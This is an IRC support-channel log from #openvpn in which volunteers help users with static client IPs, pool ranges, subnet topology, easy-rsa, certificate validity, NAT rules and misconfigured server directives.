10:56 < pekster> Moonlightning: The other important thing is that you remove the static IPs from the --ifconfig-pool. You should see the expansion of the --server directive and expand it yourself so you have control over the pool
10:56 < Moonlightning> Remove the static IPs from the persistent pool, okay. Umm, I'm guessing I don't want to just delete the file? XD
10:56 < pekster> vaillor: You may either use "--client" or "--pull --tls-client" as either series of options does the same thing. There are a number of "helper" values, like --server, --client, --server, etc
10:57 < Moonlightning> And what do you mean by expanding the server directive?
10:57 < vaillor> pekster, so, --pull makes difference
10:57 < pekster> Moonlightning: You need to do some reading in the manpage. I don't just give out working configs unless I'm working professionally on a job
10:58 < Moonlightning> …right, okay
10:59 < pekster> !factiods learn man as Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
10:59 < pekster> !learn man as Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
10:59 <@vpnHelper> Joo got it.
11:00 < pekster> Moonlightning: ^^ That tip might help you too
11:02 < rob0> factiods :)
11:02 < rob0> Did you hear about the dyslexic who sold his soul to Santa?
11:02 < pekster> Satan was pleased
11:03 < rob0> Did you hear about the dyslexic agnostic insomniac who lay awake all night wondering if there really is a dog?
11:09 < jzaw> moof
11:10 < Moonlightning> > Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, use --ifconfig-push
11:10 < Moonlightning> There we go. :P
11:11 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
11:12 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
11:12 < pekster> Right Moonlightning. You still need to use a proper series of IPs to --ifconfig-push (net30 has a different syntax since you need to peer in th center of a /30 within your network range. See !topology to see why and how to use subnet.) Further, you *still* want these IPs out of the pool, otherwise a different client may get the "static" IP dynamically allocated to them
11:13 < pekster> Expand the --server directive yourself as explained in the manpage under that description. By not using the "helper directive" you gain control to set the pool to not use the entire subnet, allowing you to allocate a range for static IPs to specific clients
11:16 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
11:22 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
11:23 -!- Rienzilha [rien@sinas.rename-it.nl] has quit [Read error: Operation timed out]
11:24 -!- Rienzilla [rien@sinas.rename-it.nl] has joined #openvpn
11:28 -!- u0m3 [~Radu@92.80.78.105] has joined #openvpn
11:34 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:42 < Moonlightning> Can I ask how to clear the static IPs from the ifconfig pool? :|
11:43 < pekster> Reduce the range
11:44 < pekster> If you're using a /24 network, perhaps set your pool's 4th octet to .100 to .199
11:45 -!- Orbi [~opera@anon-149-17.vpn.ipredator.se] has left #openvpn []
11:45 < rob0> I use pools along CIDR boundaries, like .128-.191 for example :)
11:45 < Moonlightning> Ahh, I did reduce the range. Is that it?
11:46 < pekster> Depends on usecase. It doesn't "really" matter, although I'm not sure how OpenVPN plays with pools that aren't on /30 boundries in net30 mode offhand since I never use net30 :P
11:46 < pekster> Moonlightning: Yup
11:47 < Moonlightning> Okay. XD
11:47 < pekster> Don't assign static IPs (via any method, ccd, --client-connect, or static on the client side) if that IP is in the pool range. Doing so is asking for trouble. Further, just get rid of your --ifconfig-pool-persist directive. It's generally pointless to use
11:47  * Moonlightning blinks
11:47 < Moonlightning> Really? Okay.
11:48 < pekster> It's a "semi-static" method. If you want truely static IPs, do it properly. If you don't, it doesn't matter anyway
11:48 < rob0> down with net30
11:49 < pekster> rob0: I'd love to see the default changed, although it'll sadly break some folks configs that use that as an assumed default, so it'll need to come with a nice big warning :\
11:49 < pekster> I'm sure *someone* out there has net30 on one side but nothing on the other
11:50 < Moonlightning> Make it check the config and figure out whether it's supposed to be net30 8D
11:50 < pekster> Plus ccd's and scripts pushing net30 syntax without any explicit config option: there are lots of corner cases
11:57 <@krzee> once upon a time we were told the default topology would change to subnet
11:58 <@krzee> doubt it'll happen though
12:01 < pekster> By 2.4, maybe? :\
12:02 < Moonlightning> Yay~! ^^
12:02 < pekster> I get that it's a "disruptive" change, but it's a massively deprecated feature that's quite confusing to anyone not well versed in advanced networking :(
12:03 < pekster> It doesn't help that on Windows it creates an actual /30 link to "fake" the support, while on *nix it creates a traditional PtP in the center of the /30
12:03 < Moonlightning> ^2 sure confused med. XD
12:03 < Moonlightning> me *
12:04 < pekster> !/30
12:04 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
12:06 -!- Some_Person [~someperso@unaffiliated/someperson/x-249303] has joined #openvpn
12:15 -!- furyFoo [~fury@109.166.133.164] has joined #openvpn
12:18 < Moonlightning> Next step.
12:18 < Moonlightning> Can I abstract the VPN IPs away behind a bunch of hostnames? X3
12:19 < Moonlightning> I'm good at remembering which machines have what IPs, but not everypony is.
12:19 < rob0> do you mean, set up DNS for your VPN? Of course, why not?
12:19 < Moonlightning> Yes.
12:19 < Moonlightning> How do I do that? X3
12:20 < rob0> choose your DNS server software and configure it, then point everyone who needs it to the proper servers
12:20 < rob0> dnsmasq is a good choice
12:20 < rob0> !dnsmasq
12:22 < rob0> http://rob0.nodns4.us/dnsmasq.html is my writeup of a VPN with dnsmasq
12:22 <@vpnHelper> Title: DNS in OpenVPN: a better approach (at rob0.nodns4.us)
12:22 < furyFoo> Hi everyone .
12:22 < furyFoo> I've just installed OpenVPN 2.3.1 on CentOS 6.4 - 64bit . I did it by doing a #rpmbuild on the latest .tar.gz then the usual #rpm -ivh
12:22 < furyFoo> However it seems easy-rsa isn't there anymore . Do I have to install it separately ?
12:22 < furyFoo> If so could some please paste a link to a installation/configuration guide for version 2.3 . I've only have documentation for version 2.2
12:22 < furyFoo> Any info would help .
12:23 < rob0> did you lose your old easy-rsa?
12:23 < rob0> right, it's no longer included
12:23 <@krzee> !easy-rsa
12:23 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
12:24 < Moonlightning> Duplicate definition. XD
12:24 < furyFoo> I've seen it on GitHub but I'm not sure if the old configuration instructions would still work .
12:24 <@krzee> !forget easy-rsa 3
12:24 <@vpnHelper> Joo got it.
12:24 < rob0> You should copy it into a non-root user account on a machine not on the VPN, and not keep it in your OS package manager.
12:26 < Moonlightning> ? o.o
12:27 < furyFoo> So with the exception of a separate easy-rsa , the configuration procedure is still the same as for OpenVPN 2.2 ?
12:27 < Moonlightning> Wait, really? easy-rsa?
12:27 < rob0> I would think you'd want to continue using your old CA.
12:30 < ccherrett> pekster: I am back
12:30 < pekster> ecrist: Ping, maybe you can bump the easy-rsa 2.2.x package in light of recent changes? It would be nice to get the security changes (2048-bit + updated hashes) in the download link. ie: that from !easy-rsa factoids
12:31 < ccherrett> pekster: I have a client log: http://pastebin.ca/2345654
12:31 < ccherrett> pekster: server log: http://pastebin.com/YBwgVSAi
12:31 < pekster> ccherrett: Line 29. You have an expired cert
12:32 < ccherrett> pekster: hmm we just created it 5 minutes ago
12:32 < ccherrett> we recreated it to try to eliminate that error
12:32 <@krzee> your clock is off, ntpdate time.nist.gov
12:33 < pekster> Check your clock, and the validity period of the cert via 'openssl x509 -in some.cert -noout -text'
12:33 < ccherrett> ok will do
12:33 < ccherrett> thanks
12:33 < ccherrett> Sat Mar 30 11:33:22 MDT 2013
12:33 < ccherrett> that is correct time
12:33 <@krzee> check all machines involved
12:34 < ccherrett> doing so
12:34 <@krzee> ca, server, client
12:34 < rob0> especially the one that signed the cert, the ca
12:36 < ccherrett> http://pastebin.com/Db98txyi
12:36 < ccherrett> looks wrong to me
12:36 < ccherrett> Not After : Jan 28 10:35:45 1977 GMT
12:37 <@krzee> o.O
12:38 < hg_5> hello, im using openvpn client for android, and i can't see devices in my lan after i have connected to openvpn server (it uses tun interface)
12:38 <@krzee> ya thats weird, what do you have in your vars file for how long to make them for?
12:38 <@krzee> hg_5, are you using the same subnet for your vpn as your lan?
12:39 < hg_5> hm can i set same subnet in my vpn
12:39 < hg_5> as my lan?
12:39 <@krzee> no, would be bad
12:39 <@krzee> which is why im asking if you did that
12:40 < Some_Person> My VPS's network interface is now eth0 instead of eth2.  What do I need to change as far as routing to get it to work properly?
12:40 <@krzee> Some_Person, if you are redirecting internet traffic over the vpn you will need to update your NAT rule
12:41 < Some_Person> How do I do that?
12:41 <@krzee> by using iptables
12:41 <@krzee> (if it is linux)
12:42 < Some_Person> I hate dealing with iptables
12:42 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
12:42 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
12:43 < hg_5_> ok im back
12:43 < Moonlightning> hg_5_: TLDR don't use the same subnet for your VPN as /anything else/ uses.
12:44 < hg_5_> krzee so what should i change?
12:44 <@krzee> same goes for the pan subnets you share
12:44 < hg_5_> i dont, have separate subnet
12:44 <@krzee> hg_5_, i have no idea, you have given 0 details about your setup
12:44 < Some_Person> I had it set up somehow so that it would work automatically on reboot
12:45 < pekster> ccherrett: fwiw, with openssl version 1.0.1c I can successfully sign certs 200 years (73000 days) into the future without any form of date wrapping. Either you're using some old/broken version of openssl that somehow wraps the date, or otherwise got the date syntax wrong (perhaps you manually defined your dates and did so incorrectly?) With Easy-RSA 2.x, use the stock setup and don't mess with the defaults
12:45 <@krzee> 200 years should be a bit more than you need :D
12:46 < ccherrett> pekster: I reluctantly say this..... it was pfsense that generated it :(
12:46 < hg_5_> hm i dont remember where can i find on linux openvpn config file
12:46 < pekster> Simple solution then: stop using stupid frontends that do things wrong/poorly
12:46 < ccherrett> pekster: you are right
12:46 < KrissO> hi. "server 192.168.7.100" is part of my server.config. what would the subnet mask be?
12:47 < KrissO> if i want 101-255 to be used
12:47 < pekster> You also should consider storing your PKI (especially your CA keypair) on a system not the VPN server. If an attacker compromises that, your entire security structure is compromised
12:47 < MacGyver> KrissO: It doesn't work like that.
12:48 < MacGyver> KrissO: A network can be partitioned in several subnets, but you can only have subnets of certain forms.
12:48 < pekster> !cidr
12:48 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
12:48 < Moonlightning> hg_5_: exactly. You're MAKING a subnet for the VPN.
12:48 < Moonlightning> You /want/ to use something that doesn't exist.
12:49 < KrissO> MacGyver, ok. well i'll just do it simple
12:49 < hg_5_> thats my config: http://puu.sh/2qKEl http://puu.sh/2qKEK --- server
12:50 < hg_5_> http://puu.sh/2qKFX --- client
12:50 <@krzee> the client is a config
12:50 < MacGyver> KrissO: Perhaps describing your use case would help us help you better - why do you want it to use 101-255?
12:50 <@krzee> the server is screenshots of some non-openvpn web interface
12:50 < Moonlightning> hg_5_: your LAN doesn't happen to use 10.10.0.*, does it?
12:51 < hg_5_> my lan subnet is 192.168.1.x
12:51 <@krzee> !serverlan
12:51 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
12:51 < Moonlightning> I think 10.10.0.0/24 for the VPN should be okay then.
12:51 <@krzee> hg_5_, is the client currently on 192.168.1.x as well?
12:52 < hg_5_> hm yes
12:52 <@krzee> how much trouble is it to change the server pan subnet?
12:52 <@krzee> server lan subnet*
12:53 <@krzee> make it something uncommon
12:53 <@krzee> then it won't conflict =]
12:54 < hg_5_> ok so change my lan192.168.1.x subnet ?
12:54 < KrissO> MacGyver, well the devices on my local lan use 101 102 103 104 105. so I wanted the VPN ip's to be the same which makes it easy for me to remember. but I can just set up fixed ip addresses for that right? as described in the howto
12:54 < Moonlightning> hg_5_: no, change your VPN subnet. XD
12:54 <@krzee> KrissO, you want to stay outside the subnet you're already using
12:55 <@krzee> Moonlightning, his vpn subnet is fine
12:55 < hg_5_> my vpn subnet is 10.10.0.0
12:55 <@krzee> Moonlightning, he needs to change his server lan subnet
12:55 < Moonlightning> oh, derp
12:55 < KrissO> krzee, for the fixed/static ip's?
12:55 < KrissO> no wait
12:55 < KrissO> krzee, you misunderstand me
12:56 <@krzee> KrissO, server 10.8.0.0 255.255.255.0    and then if you want to push static ups to clients give them static in a different subnet like 10.8.1.0
12:56 < KrissO> it's simple. my local lan ip for my desktop now is 192.168.1.101 staticly assigned by router. i want my vpn ip to be 192.167.7.101
12:56 < pekster> KrissO: See:
12:56 <@krzee> and handle communicating with the lan with routing
12:56 < pekster> !static
12:56 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder
12:57 < KrissO> krzee, ok. but will my example work too?
12:57 < KrissO> thanks pekster
12:57 <@krzee> what are you using for --server ?
12:57 < Moonlightning> KrissO: I just finished setting up the same thing. XD
12:58 <@krzee> yes, you can match those
12:58 <@krzee> keep them outside your --server pool though
12:58 < hg_5_> hm it is strange i can ping only 2 devices in my lan(my router and my pc)
12:58 < hg_5_> ok hm nvm, its fine
12:59 < MacGyver> Hmm.
12:59 < KrissO> (@krzee) what are you using for --server ? <- not sure. what would you suggest in my case?
12:59 <@krzee> o.O you have a server config file right?
12:59 < KrissO> well i'm building one from scratch
12:59 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
13:00 < KrissO> right now
13:00 < KrissO> (already did a default one earlier today)
13:00 <@krzee> agh, you could use server 10.8.0.0 255.255.255.0
13:00 < MacGyver> pekster, KrissO, krzee: But he can't do that with sequential IP's, right?
13:00 <@krzee> he can if he uses topology subnet in his server config
13:01 < KrissO> krzee, ok and still assign fixes ip's like i mentioned above?
13:01 <@krzee> !static
13:01 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder
13:01 < MacGyver> !topology
13:01 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
13:01 < MacGyver> Ah, right.
13:01 < KrissO> fixed*
13:02 < pekster> !learn static as when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
13:02 <@vpnHelper> Joo got it.
13:02 <@krzee> or simply assign from a different subnet
13:02 <@krzee> like the how to shows
13:02 <@krzee> !policy
13:02 <@vpnHelper> "policy" is (#1) http://openvpn.net/howto.html#policy for Configuring client-specific rules and access policies or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules for a lil writeup by mario
13:02 < pekster> That's complicated if you don't push it
13:02 < KrissO> pekster, that sounds easier
13:03 <@krzee> is it complicated to push it?
13:03 < KrissO> but I'll go with whatever is better
13:03 <@krzee> 1 push route =]
13:03 < pekster> If you don't push the route to clients, they behave strangely. Other clients can't reach it if you don't push the route, the local openvpn can't connect to it on the "other" network if you don't have a route int he server config
13:03 < pekster> So yes, it's not "just" pushing another subnet
13:03 < pekster> Erm, pushing the IP
13:03 <@krzee> sure, if you misconfigure it, it will not work
13:04 < Moonlightning> general rule of thumb ^
13:04 < pekster> My addition is still valid. If you use a "different" subnet, it's outsid the pool range, no?
13:04 < pekster> Too many people ask about making $network.2 as a static IP. That breaks horribly if people use --server too
13:05 <@krzee> right, which do you think is easier, not using --server or dealing with 2 subnets?
13:05 < pekster> I think teaching people about options instead of forcing them to choose is easier, less they come back tomorrow when it doesn't work
13:05 <@krzee> cool
13:05 <@krzee> i point at the how to =]
13:09 < KrissO> both your instructions are highly appreciated :D I'll try what krzee suggested first
13:10 < pekster> Sure. His suggestion is *also* what I suggested. It uses an additional subnet rather than logically splitting one. It's also "outside" your pool range, thus his solution is a specific example of my general requirement to not break things
13:11 <@krzee> right, both do the same thing
13:11 < KrissO> hehe. ok gotya
13:15 < ccherrett> pekster: sure enough, generated on another machine with no silly gui and all is fine with the cert
13:15 < ccherrett> thanks
13:18 -!- ThiefMaster [thief@unaffiliated/thiefmaster] has joined #openvpn
13:19 -!- furyFoo [~fury@109.166.133.164] has quit [Ping timeout: 255 seconds]
13:21 < KrissO> hm before I waste any more time
13:22 < KrissO> desktop 192.168.7.101 laptop 192.168.7.102 htpc 192.168.7.103 NAS/VPN 192.168.7.104 phone 192.168.7.105
13:23 < KrissO> can that be done?
13:23 < KrissO> (and yes I know 10.8.0.0 is recommended)
13:24 < pekster> That's fine; openvpn itself doesn't care "what" network or IPs you assign to specific hosts. That's for you to decide. Avoiding common networks like 192.168.1.0/24 is highly recommended
13:25 < ThiefMaster> hi, do i need to do any special routing-related config when i want vpn clients to be able to access the internet through the vpn? i configured my android device to route all data through the vpn and a tcpdump on the server shows me that it indeed receives the data. however, no response ever shows up in tcpdump (or on the client). here are the relevant configs etc: https://gist.github.com/Thi
13:25 < ThiefMaster> efMaster/a17007e8dc1fb8ee411a
13:25 <@vpnHelper> Title: this Gists (at gist.github.com)
13:26 < KrissO> pekster, ok cool. what would my --server be in this case?
13:27 < pekster> Either set it to a different network completely as krzee suggested with the addition of the secondary subnet as a 'route' and 'push "route ..."' directives, or don't use any --server, instead manually expanding that directive and defining a pool that does *not* include those IPs.
13:27 < vaillor> krzee: question: (--client) = (--pull)  + (--tls-client); (--tls-client) = (--client) - (--pull) ?
13:27 < pekster> The URL he linked has samples for you to follow along with
13:27 < KrissO> ok. thanks
13:28 < vaillor> anybody who knows, can answer to me :)
13:28 < pekster> ThiefMaster: See:
13:28 < pekster> !redirect
13:28 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:28 <@vpnHelper> http://ircpimps.org/redirect.png
13:29 < ThiefMaster> !nat
13:29 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
13:29 < ThiefMaster> !linnat
13:29 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
13:31 < pekster> vaillor: --tls-client is not "client minus pull." It's just plain --tls-client. You're over-thinking this
13:31 < vaillor> pekster: http://openvpn.net/index.php/open-source/documentation/manuals/65-openvpn-20x-manpage.html
13:31 <@vpnHelper> Title: OpenVPN 2.0.x (at openvpn.net)
13:32 < vaillor> please go at the middle of the page
13:32 < vaillor> where is written "client mode"
13:32 < vaillor> the first option is --client
13:32 < pekster> vaillor: That's a 6-year old version. Use a modern manpage since we do not support 2.0.x here
13:32 < vaillor> :\
13:33 < vaillor> !howto
13:33 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:33 < pekster> And yes, --client is --pull plus --tls-client. This does *NOT* mean that --tls-client is "client minus pull." It just doens't work that way. This isn't an algebra class. "helper-directives" are internally expanded as if they were typed as multiple primatives
13:35 < vaillor> pekster, also 2.3 manual said the same thing
13:36 < vaillor> https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage
13:36 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
13:36 < pekster> Fine. You need to read what I said
13:36 < ThiefMaster> pekster: do i understand it correctly that redirect-gateway just tells the client to use the vpn as the gateway? i.e. i don't need it if i have the android client which automatically routes everything through the vpn?
13:36 < vaillor>        --client
13:36 < vaillor>               A  helper directive designed to simplify the configuration of Open‐
13:36 < vaillor>               VPN's client mode.  This directive is equivalent to:   pull    tls-client
13:36 < pekster> You may be "functionally correct" but you're over-thinking it. There's nothing "magic" about helper-directives. They auto-expand internally
13:36 < pekster> Yes. I get it. Stop saying that.
13:36 < ccherrett> pekster: client log: http://pastebin.com/jc2xR4sC server log: http://pastebin.com/KUT11KtR
13:37 < ccherrett> can you look at those logs for me? It looks like the cert is valid now
13:37 < ccherrett> thanks for that
13:37 < vaillor> pekster, you said me that --client IS NOT --tls-client + --pull
13:37 < vaillor> right?
13:37 < ccherrett> but I get openvpn[35816]: TLS Error: cannot locate HMAC in incoming packet from [AF_INET]184.xx.xx.xx:1194
13:37 < ccherrett> on the server
13:37 < pekster> vaillor: No. I said it is
13:37 < ccherrett> and the client fails to connect
13:38 < pekster> vaillor: You cannot "reverse" that logic. --tls-client is a primative directive. It means, simply, --tls-client
13:38 < pekster> No more, no less
13:38 < vaillor> pekster, ok, so, if i have in the same .ovpn configuration client and tls-client,  i should remove tls-client. right?
13:38 < pekster> Sure. It won't hurt to have it there, but it does you no good
13:38 < vaillor> ok
13:39 < pekster> ccherrett: Missing --tls-auth file on one side, usually
13:39 < ccherrett> ah ok I will look
13:45 -!- awilliams [~awilliams@unaffiliated/mistik1] has quit [Ping timeout: 256 seconds]
13:45 < vaillor> pekster, the same thing is for --server and --tls-server ?
13:46 < pekster> Yup. --server implies quite a lot more and varies based on other directives. The expansion is explained in detail in the manpage
13:46 < vaillor> ok, and to comment a line i should use # character ?
13:46 -!- awilliams [~awilliams@unaffiliated/mistik1] has joined #openvpn
13:47 < pekster> !comment
13:47 <@vpnHelper> "comment" is you can use ; or # to make comments in the config file
13:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:02 -!- ade_b [~Ade@koln-4d0b1b2a.pool.mediaWays.net] has joined #openvpn
14:02 -!- ade_b [~Ade@koln-4d0b1b2a.pool.mediaWays.net] has quit [Changing host]
14:02 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
14:11 -!- awilliams [~awilliams@unaffiliated/mistik1] has quit [Ping timeout: 256 seconds]
14:12 -!- saneki [~saneki@cpe-70-124-83-150.austin.res.rr.com] has joined #openvpn
14:13 -!- APTX [APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
14:16 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
14:19 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
14:24 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Read error: Operation timed out]
14:28 -!- ShiraDJ [~Shira@dslb-094-223-227-236.pools.arcor-ip.net] has joined #openvpn
14:28 < ShiraDJ> hello everybody
14:29 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
14:30 < ShiraDJ> I hope im right here, i have a little problem to host openvpn on my vserver. i get a error that a parameter is missing in my ovpn MESSAGE: "Options error: Unrecognized option or missing parameter(s) in /etc/openvpn/Server.ovpn:12: Serveradresse (2.1.0)"
14:30 < ShiraDJ> Serveradresse = my ip/host name
14:31 < ShiraDJ> what can i do?
14:31 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
14:31 < pekster> That's not a valid directive, hence the error. Also, 2.1.0 is a fairly outdated version and you should consider updating to 2.3.1 (the latest) or at least a 2.2 version.
14:31 < pekster> See the official howto here to get started:
14:31 < pekster> !howto
14:31 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:32 < pekster> Perhaps you'd like to look up the --local directive in the manpage since that's how you set a specific bind address. In most cases, a server can omit that option and listen on the wildcard address, or *:1194
14:35 -!- ThiefMaster [thief@unaffiliated/thiefmaster] has left #openvpn []
14:47 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
14:48 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
14:49 -!- mode/#openvpn [+o dazo_afk] by ChanServ
14:49 -!- dazo_afk is now known as dazo
14:53 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
15:22 < ShiraDJ> now i have only 1 problem left
15:23 < ShiraDJ> on server side i get error code 111 by read udpv4
15:23 < ShiraDJ> and on client side
15:23 < ShiraDJ> Sat Mar 30 21:22:10 2013 read UDPv4: Connection reset by peer (WSAECONNRESET) (code=10054)
15:23 < ShiraDJ> Sat Mar 30 21:22:12 2013 read UDPv4: Connection reset by peer (WSAECONNRESET) (code=10054)
15:23 < ShiraDJ> Sat Mar 30 21:22:16 2013 read UDPv4: Connection reset by peer (WSAECONNRESET) (code=10054)
15:23 < ShiraDJ> Sat Mar 30 21:22:24 2013 read UDPv4: Connection reset by peer (WSAECONNRESET) (code=10054)
15:25 < pekster> ShiraDJ: The remote peer is sending an active rejection of the connection. Check the server logs for the real reason, becuase that's merely an indication of an ICMP error returned from the peer
15:26 < pekster> Actually, post the full server log. There is presumably something else on the server leading up to that
15:27 < ShiraDJ> yes, the server self makes code 111 refuse errors
15:27 < pekster> Post the log. I want to see *why* it's doing that
15:29 -!- kirin` [telex@gateway/shell/anapnea.net/x-iqkqosqqzbfjowru] has quit [Ping timeout: 258 seconds]
15:29 < ShiraDJ> i have no logs
15:29 < pekster> !logfile
15:29 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
15:30 < pekster> You're getting that "error" from the log output. Post the server log output to a pastebin
15:30 < pekster> Verb 4 is preferred, although verb 3 (the default) is probably enough for now
15:32 < ShiraDJ> yes verb 3 is in use but they dont create a log file
15:32 < pekster> Then read the above output and figure out where the log output is going
15:38 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
15:38 < ShiraDJ> the log file i cant fin / not created but hee is the server side output when i start openvpn
15:38 < ShiraDJ> Sat Mar 30 20:37:02 2013 Local Options hash (VER=V4): 'c6c7c21a'
15:38 < ShiraDJ> Sat Mar 30 20:37:02 2013 Expected Remote Options hash (VER=V4): '1a6d5c5d'
15:38 < ShiraDJ> Sat Mar 30 20:37:02 2013 Socket Buffers: R=[133120->131072] S=[133120->131072]
15:38 < ShiraDJ> Sat Mar 30 20:37:02 2013 UDPv4 link local: [undef]
15:38 < ShiraDJ> Sat Mar 30 20:37:02 2013 UDPv4 link remote: [AF_INET]127.0.0.1:1194
15:38 < ShiraDJ> Sat Mar 30 20:37:02 2013 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
15:38 < ShiraDJ> Sat Mar 30 20:37:04 2013 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
15:38 < ShiraDJ> Sat Mar 30 20:37:06 2013 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
15:38 < ShiraDJ> Sat Mar 30 20:37:11 2013 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
15:38 < ShiraDJ> Sat Mar 30 20:37:13 2013 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
15:38 < ShiraDJ> ^CSat Mar 30 20:37:14 2013 event_wait : Interrupted system call (code=4)
15:38 < ShiraDJ> Sat Mar 30 20:37:14 2013 TCP/UDP: Closing socket
15:38 < ShiraDJ> Sat Mar 30 20:37:14 2013 SIGINT[hard,] received, process exiting
15:38 < pekster> !paste
15:38 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
15:39 < pekster> Why are you connecting to localhost? Have you use the --nobind option? Otherwise your connection will fail as the source and destination port are the same and thus refused
15:40 < ShiraDJ> thats are the server configs, the client configs use ip/port from server ad yes i use --nobind
15:40 -!- digilink [~digilink@unaffiliated/digilink] has quit [Read error: Connection reset by peer]
15:41 < pekster> You're connecting to "localhost" in that output. You're having the client talk to *itself*. Why?
15:41 < ShiraDJ> why client?
15:41 < pekster> Yes
15:41 < ShiraDJ> huuu??
15:42 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
15:42 < pekster> Why have you configured your client to contact a remote peer of 127.0.0.1? Do you not understand that this IP is the loopback address?
15:42 < ShiraDJ> i understand but what i have past is the server side
15:42 < ShiraDJ> not the client
15:42 <@EugeneKay> That's not how networking works
15:43 < pekster> Don't use a remote directive on the server
15:43 -!- kirin` [telex@gateway/shell/anapnea.net/x-oaqlcxokidvmlcxv] has joined #openvpn
15:43 < pekster> The server "listens" for a connection, not establishes one
15:43 < ShiraDJ> ahh
